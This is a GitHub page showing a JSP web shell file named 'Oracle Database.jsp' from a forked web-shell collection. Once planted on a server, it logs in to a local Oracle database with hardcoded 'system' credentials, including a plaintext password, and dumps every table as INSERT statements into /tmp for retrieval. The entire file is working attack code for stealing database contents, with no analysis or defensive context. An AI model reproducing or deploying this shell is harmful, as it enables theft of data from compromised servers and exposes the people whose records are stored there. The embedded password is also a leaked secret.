forked from xl7dev/WebShell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathOracle Database.jsp
executable file
·71 lines (64 loc) · 2.78 KB
/
Oracle Database.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
try {
String backupDir = "/tmp/";
String ex=".txt";
String driver = "oracle.jdbc.driver.OracleDriver";
String url = "jdbc:oracle:thin:@127.0.0.1:1521:jcjobcn";
String username = "system";
String password = "motoME722remind2012";
Class.forName(driver);
Connection conn = DriverManager.getConnection(url, username, password);
/** ==== >>>> TWEAK HERE TO DUMP ALL TABLESPACES <<<< ==== **/
String sql_tables="select TABLE_NAME from user_tab_comments";
PreparedStatement ps = conn.prepareStatement(sql_tables);
ResultSet rs = ps.executeQuery();
ArrayList<String> tables = new ArrayList<String>();
while (rs.next()) {
tables.add(rs.getString(1));
}
rs.close();
for(int i=0;i<tables.size();i++){
String table=tables.get(i);
out.println("Dumping data for table " + table + "...
");
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
BufferedWriter bw=new BufferedWriter(osw);
String sql="select * from "+table;
PreparedStatement p = conn.prepareStatement(sql);
ResultSet r = p.executeQuery();
ResultSetMetaData rsmeta=r.getMetaData();
/** ==== >>>> TWEAK HERE TO DUMP HEADER <<<< ==== **/
while(r.next()){
bw.append("INSERT INTO " + table + " VALUES(");
for (int col = 1; col <= rsmeta.getColumnCount(); col++) {
bw.append("'");
if (r.getString(col) == null)
bw.append("");
else
bw.append(r.getString(col));
if (col == rsmeta.getColumnCount())
bw.append("'");
else
bw.append("', ");
}
bw.append(");");
bw.newLine();
}
bw.flush();
bw.close();
osw.close();
r.close();
}
rs.close();
out.println("backup done");
conn.close();
} catch (Exception e) {
response.setStatus(200);
e.printStackTrace();
}
out.println("<p><h3>finished</h3></p>");
%>